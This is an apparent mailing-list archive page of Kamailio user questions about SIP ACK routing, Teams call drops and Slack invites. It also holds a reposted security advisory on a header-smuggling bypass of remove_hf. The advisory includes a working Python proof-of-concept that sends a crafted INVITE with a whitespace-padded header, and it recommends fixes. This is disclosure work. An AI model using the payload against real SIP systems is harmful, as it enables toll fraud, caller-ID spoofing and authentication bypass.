Hello all, If there is someone that can help with this, that would be rather good! I can supply further details upon anyone having seen this before....... In NORMAL operation, I get an INVITE and process this (My Kamailio is processing SS7 CAMEL, and does an MRSN lookup) It then makes the INVITE onwards to the MSRN collected. When answered, I see the 200. I pass the 200 back to the source of the INVITE I get the ACK, and use "t_check_trans()" and if that returns true will route the ACK onward (I am in the ACK path having set Record-route on the 200) This all works. FAILURE occurs when I get INVITE from another source (one step removed from the generating gateway) All works as it should *BUT* the t_check_trans() returns FALSE, so I guess there is a matching issue to the live transaction? I have tried a "work around" and routed the ACK anyway. This *does* work, and is routed correctly forward to the original "contact" and the 200 messages stop being repeated.. *BUT* the Kamailio instance here times out the dialog as the ACK was not seen correctly. I also popped a "t_check_trans()" into the reply route to test the 200 OK that I get, and that returns TRUE. Here is the 200 message that I send back to the INVITE sender: SIP/2.0 200 OK Via: SIP/2.0/UDP 52.1.2.3;rport=5060;branch=z9hG4bK7bb7.62ce43198ddade3212c715259623a75f.1 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK905c7e6e Record-Route: <sip:3.1.2.3;lr;ftag=81dd;did=08b.0141;vsf=AAAAAB8ABQMKCAgMAwUCCHgzWEQXXl5WSUNYQ14cUF5t> Record-Route: <sip:52.1.2.3:5060;lr> From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 INVITE Contact: <sip:+44739790XXXX@185.1.2.3:5060;transport=udp> User-Agent: Ziron Allow: INVITE, ACK, BYE, CANCEL, OPTIONS, MESSAGE, INFO, UPDATE, REFER, NOTIFY, PUBLISH, SUBSCRIBE Supported: timer, path, replaces Allow-Events: talk, hold, conference, presence, as-feature-event, dialog, line-seize, call-info, sla, include-session-description, presence.winfo, message-summary, refer Content-Type: application/sdp Content-Disposition: session Content-Length: 216 P-Asserted-Identity: "Outbound Call" <sip:44780204XXXX@52.1.2.3> v=0 o=MSX53 11014726 11014726 IN IP4 88.1.2.3 s=sip call c=IN IP4 88.1.2.3 t=0 0 a=sendrecv m=audio 14810 RTP/AVP 8 99 a=rtpmap:8 PCMA/8000 a=rtpmap:99 telephone-event/8000 a=fmtp:99 0-15 a=ptime:20 And this is the ACK I get back: ACK sip:+44739790XXXX@185.1.2.3:5060;transport=udp SIP/2.0 Via: SIP/2.0/UDP 52.1.2.3;branch=z9hG4bK7bb7.cca0ec5a2c96b8fe82344d9835163595.0 Via: SIP/2.0/UDP 149.1.2.3:5060;received=149.1.2.3;rport=5060;branch=z9hG4bK6b8f7781 Contact: sip:+44128084XXXX@149.1.2.3 To: "+44739790XXXX" <sip:+44739790XXXX@52.1.2.3>;tag=XXgZtQND1H8rD From: "+44128084XXXX" <sip:+44128084XXXX@149.1.2.3>;tag=81dd Call-ID: 9bbd818c-d1c8-4c62-9fed-7878ed05cf721 CSeq: 1 ACK User-Agent: PartitionwareTM SIP Toolkit v4.0.30319 Content-Length: 0 Max-Forwards: 69 Allow: INVITE, ACK, CANCEL, BYE, INFO, OPTIONS, PRACK Supported: timer,100rel Allow-Events: telephone-event P-hint: outbound Any thoughts would be great, Steve

2 1

Kamailio Slack Channel Invite
by Peter Baines 23 Sep '20

23 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. Apologies if this is not the correct place to post. Regards, Peter -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Kamailio vulnerable to header smuggling possible due to bypass of remove_hf
by Sandro Gauci 23 Sep '20

23 Sep '20

Dear Kamailio Users, posting our security advisory here just in case anyone who was affected has not upgraded or mitigated the header smuggling issue. Advisory follows: # Kamailio vulnerable to header smuggling possible due to bypass of remove_hf - Fixed versions: Kamailio v5.4.0 - Enable Security Advisory: <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…> - Tested vulnerable versions: 5.3.5 and earlier - Timeline: - Report date & issue patched by Kamailio: 2020-07-16 - Kamailio rewrite for header parser (better fix): 2020-07-16 to 2020-07-23 - Kamailio release with fix: 2020-07-29 - Enable Security advisory: 2020-09-01 ## Description Kamailio is often configured to remove certain special internal SIP headers from untrusted traffic to protect against header injection attacks by making use of the `remove_hf` function from the Kamailio `textops` module. These SIP headers were typically set through Kamailio which are then used downstream, e.g. by a media service based on Asterisk, to affect internal business logic decisions. During our tests and research, we noticed that the removal of these headers can be bypassed by injecting whitespace characters at the end of the header name. Note that this issue only affected header names that are __not__ defined in `src/core/parser/hf.h`. Further discussion and details of this vulnerability can be found at the Communication Breakdown blog: https://www.rtcsec.com/2020/09/01-smuggling-sip-headers-ftw/. ## Impact The impact of this security bypass greatly depends on how these headers are used and processed by the affected logic. In a worst case scenarios, this vulnerability could allow toll fraud, caller-ID spoofing and authentication bypass. ## How to reproduce the issue We prepared a docker-compose environment to demonstrate a vulnerable setup which can be found at <https://github.com/EnableSecurity/advisories/tree/master/ES2020-01-kamailio…>. The following python code could then be used to reproduce the issue: ```python #!/usr/bin/env python3 sipmsg = "INVITE sip:headerbypass@localhost SIP/2.0\r\n" sipmsg += "Via: SIP/2.0/UDP 127.0.0.1:48017;rport;branch=z9hG4bK-%s\r\n" sipmsg += "Max-Forwards: 70\r\n" sipmsg += "From: <sip:anon@localhost>;tag=%s\r\n" sipmsg += "To: sip:whatever@whatever.local\r\n" sipmsg += "Call-ID: %s\r\n" sipmsg += "CSeq: 1 INVITE\r\n" sipmsg += "Contact: <sip:1000@127.0.0.1:48017;transport=udp>\r\n" sipmsg += "X-Bypass-me : lol\r\n" sipmsg += "Content-Length: 237\r\n" sipmsg += "Content-Type: application/sdp\r\n" sipmsg += "\r\n" sipmsg += "v=0\r\n" sipmsg += "o=- 1594727878 1594727878 IN IP4 127.0.0.1\r\n" sipmsg += "s=-\r\n" sipmsg += "c=IN IP4 127.0.0.1\r\n" sipmsg += "t=0 0\r\n" sipmsg += "m=audio 58657 RTP/AVP 0 8 96 101\r\n" sipmsg += "a=rtpmap:101 telephone-event/8000/1\r\n" sipmsg += "a=rtpmap:0 PCMU/8000/1\r\n" sipmsg += "a=rtpmap:8 PCMA/8000/1\r\n" sipmsg += "a=rtpmap:96 opus/8000/2\r\n" sipmsg += "a=sendrecv\r\n" target = ("127.0.0.1",5060) import socket import time from random import randint s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM) s.bind(("0.0.0.0",5088)) r = randint(1000,9999) data = sipmsg % (r,r,r) s.sendto(data.encode("utf-8"), target) while True: data,addr=s.recvfrom(4096) print(data.decode("utf-8")) time.sleep(5) ``` In the case of a vulnerable version of Kamailio, Asterisk would respond with a 200 OK while in a fixed version, Asterisk would respond with a 603 Decline response. This is specific to the [dialplan](https://github.com/EnableSecurity/advisories/blob/master/ES2020-0… in our example, which jumps to an internal dialplan if the `X-bypass-me` header is found. ## Solutions and recommendations The official Kamailio fix has been tested and found to sufficiently address this security flaw. We recommend making use of the latest release or backporting the fixes where possible. Making use of regular expressions to cover white-space characters with `remove_hf_re` has been suggested as mitigation for this issue for cases where the code cannot be upgraded. Enable Security would like to thank Daniel-Constantin Mierla of the Kamailio Project for the very quick response and fix within minutes of our report being made available to him, as well as Torrey Searle for reporting this issue quickly to the Kamailio team. ## About Enable Security [Enable Security](https://www.enablesecurity.com) develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack. ## Disclaimer The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. ## Disclosure policy This report is subject to Enable Security's vulnerability disclosure policy which can be found at <https://github.com/EnableSecurity/Vulnerability-Disclosure-Policy>.

10 33

Kamailio drop calls with Teams
by sip user 22 Sep '20

22 Sep '20

Hi, I'm connecting Teams with kamailio server. From Kamailio to teams I have no problems, but from teams to Kamailio yes. Drop the call.. With ngrep I see that: INVITE sip:1005@CLIENT_IP:55766;transport=UDP;rinstance=d47edf336726e940 SIP/2.0. Record-Route: <sip:FQND_IP;r2=on;lr>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. FROM: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. TO: <sip:+34560@FQND:5061;user=phone>. CSEQ: 1 INVITE. CALL-ID: c1364913e582553a9a9c2544c3583b0a. MAX-FORWARDS: 69. Via: SIP/2.0/UDP 92.222.217.64;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. VIA: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. RECORD-ROUTE: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. CONTACT: <sip:api-du-a-euno.pstnhub.microsoft.com:443 ;x-i=b0b53fc5-76ef-4619-9a68-13e0a4eea92d;x-c=c1364913e582553a9a9c2544c3583b0a/d/8/6c25eb3789a14bf188ce6b05b5e27891>. CONTENT-LENGTH: 1091. MIN-SE: 300. SUPPORTED: timer. USER-AGENT: Microsoft.PSTNHub.SIPProxy v.2020.7.31.1 i.EUNO.0. CONTENT-TYPE: application/sdp. ALLOW: INVITE,ACK,OPTIONS,CANCEL,BYE,NOTIFY. P-ASSERTED-IDENTITY: <tel:+324>,<sip:EMAIL>. PRIVACY: id. SESSION-EXPIRES: 3600. . v=0. o=- 165103 0 IN IP4 127.0.0.1. s=session. c=IN IP4 52.113.44.8. b=CT:10000000. t=0 0. m=audio 50452 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 2130706431 52.113.44.8 50452 typ srflx raddr 10.0.33.240 rport 50 U CLIENT_IP:55766 -> FQND_IP:5060 #2 SIP/2.0 180 Ringing. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 0. U CLIENT_IP:55766 -> FQND_IP:5060 #3 SIP/2.0 200 OK. Via: SIP/2.0/UDP FQND_IP;branch=z9hG4bK7bb5.0fbae76a37829205e04279f220a26af2.0;i=a1. Via: SIP/2.0/TLS 52.114.76.76:5061;branch=z9hG4bKd216a55. Record-Route: <sip:FQND_IP;lr;r2=on>. Record-Route: <sip:FQND_IP:5061;transport=tls;r2=on;lr>. Record-Route: <sip:sip-du-a-eu.pstnhub.microsoft.com:5061;transport=tls;lr>. Contact: <sip:1005@CLIENT_IP :55766;transport=UDP;rinstance=d47edf336726e940>. To: <sip:+34560@FQND:5061;user=phone>;tag=de4e6b45. From: "Javier Gonz..lez Mu..oz"<sip:+324@sip.pstnhub.microsoft.com:5061 ;user=phone>;tag=c17bb1eb7f8649d4a89d8d4a876ac32b. Call-ID: c1364913e582553a9a9c2544c3583b0a. CSeq: 1 INVITE. Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REGISTER, SUBSCRIBE, NOTIFY, REFER, INFO, MESSAGE. Content-Type: application/sdp. Supported: replaces. User-Agent: 3CXPhone 6.0.26523.0. Content-Length: 1067. . v=0. o=3cxVCE 324945090 117647850 IN IP4 . s=3cxVCE Audio Call. t=0 0. m=audio 0 RTP/SAVP 104 9 103 111 18 0 8 97 101 13 118. c=IN IP4 52.113.44.8. a=rtpmap:104 SILK/16000. a=rtpmap:9 G722/8000. a=rtpmap:103 SILK/8000. a=rtpmap:111 SIREN/16000. a=fmtp:111 bitrate=16000. a=rtpmap:18 G729/8000. a=fmtp:18 annexb=no. a=rtpmap:0 PCMU/8000. a=rtpmap:8 PCMA/8000. a=rtpmap:97 RED/8000. a=rtpmap:101 telephone-event/8000. a=fmtp:101 0-16. a=rtpmap:13 CN/8000. a=rtpmap:118 CN/16000. a=rtcp:50453. a=ice-ufrag:FZTb. a=ice-pwd:yD3P7nr+xNq0VYdv7xpB1F+Y. a=rtcp-mux. a=candidate:1 1 UDP 213 I never received ACK.. In my configuration: Kamailio.cfg: #!KAMAILIO #!define WITH_TLS event_route[tm:local-request] { if(is_method("OPTIONS") && $ru =~ "pstnhub.microsoft.com") { append_hf("Contact: <sip:FQND:5061;transport=tls>\r\n"); } xlog("L_INFO", "Sent out tm request: $mb\n"); } request_route{ remove_hf("Route"); if (is_method("INVITE|SUBSCRIBE")) { xlog("L_INFO","$fU is trying to call to $rU con valores $tu\n"); $rU="1005"; } } What I'm doing wrong? I don't understand why not received ACK.. Could anyone help me? Thanks

5 21

Kambdctl create command
by Pavithra Mohanraja 22 Sep '20

22 Sep '20

Hi, I need to use kambdctl create command but that has to create database in another vm where mysql is alone installed. How to do that? Thanks, Pavithra

2 1

Kamailio Slack Invite
by Peter Baines 22 Sep '20

22 Sep '20

Hi, Can someone send me an invite to the Kamailio Slack channel please. I am sure I used to be a member but I may have used a different email address. -- *Web:* http://pbaines.com *Email:* peter(a)pbaines.com

4 4

Info: recordings of Kamailio World 2020 sessions
by Daniel-Constantin Mierla 22 Sep '20

22 Sep '20

Hello, for those that couldn't attend the Kamailio World 2020 online event that happened a few weeks ago, or someone wants to view again a session, the recordings of the two days were split per session -- they are available on KamailioWorld youtube channel: * https://www.youtube.com/c/KamailioWorld/ For convenience, they were also grouped in a playlist for KW2020, see: * https://www.youtube.com/c/KamailioWorld/playlists No other editing than just cutting at start/stop of each session. Slides should be available at: * http://kamailio.org/events/2020-KamailioWorldOnline/ Enjoy! Cheers, Daniel -- Daniel-Constantin Mierla -- www.asipto.com www.twitter.com/miconda -- www.linkedin.com/in/miconda

1 0

Error on ACK/BYE After 200
by Neimar 21 Sep '20

21 Sep '20

Hello, I am trying to set up a Webrtc by using Kamailio, Asterisk and Rtpengine. So far, everything is working fine , I'm able to register an extension and make a call, but for some reason, when i'm trying to call a WebRTC extension from any SIP Extension from Asterisk, Kamailio is sending INVITE, WebRTC extension is sending back 200 OK, and then Kamailio is trying to send an ACK through UDP protocol, and not through wss, as it's supposed to do. In console, I see: Sep 21 20:39:06 vsphone3-sbc /usr/sbin/kamailio[9756]: WARNING: {1 102 ACK 332ee81b4eb178ac156e8d3e53a98900@172.16.11.6:5060} <core> [core/forward.c:231]: get_send_socket2(): protocol/port mismatch (forced tls:172.16.11.57:8443, to udp:187.20.56.83:27730) My scenario is: Internet -> Firewall -> Kamailio -> Asterisk Working: Softphone -> Kamailio -> Asterisk (TCP/UDP/TLS(SRTP) Asterisk -> Kamailio -> Softphone (TCP/UDP/TLS(SRTP)) Webrtc -> Kamailio -> Asterisk (WSS) Not Working: Asterisk -> Kamailio -> Webrtc After a answer from Webrtc, I can listen sound, so, RTP in theory is fine. Webrtc send 200 OK to Kamailio Kamailio Send 200 OK to Asterisk. Asterisk Send ACK to Kamailio ACK not forwarded to Webrtc. In attachment, my kamailio.cfg Every Help is welcome. Thanks Neimar.

1 0

Kamailio uses Python
by Pavithra Mohanraja 21 Sep '20

21 Sep '20

Hi, I am building kamailio as an docker image by installing kamailio using "apt-get install kamailio" in ubuntu 18.04, which installs python by default which makes my image size bigger. Does kamailio uses Python?. else what could be the alternative? Does anybody came across this situation. Kindly advise. Thanks, Pavithra

2 3

2025

2024

2023

2022

2021

2020

2019

2018

2017

2016

2015

2014

2013

2012

2011

2010

2009

2008

2007

2006

2005

2004

2003

2002

sr-users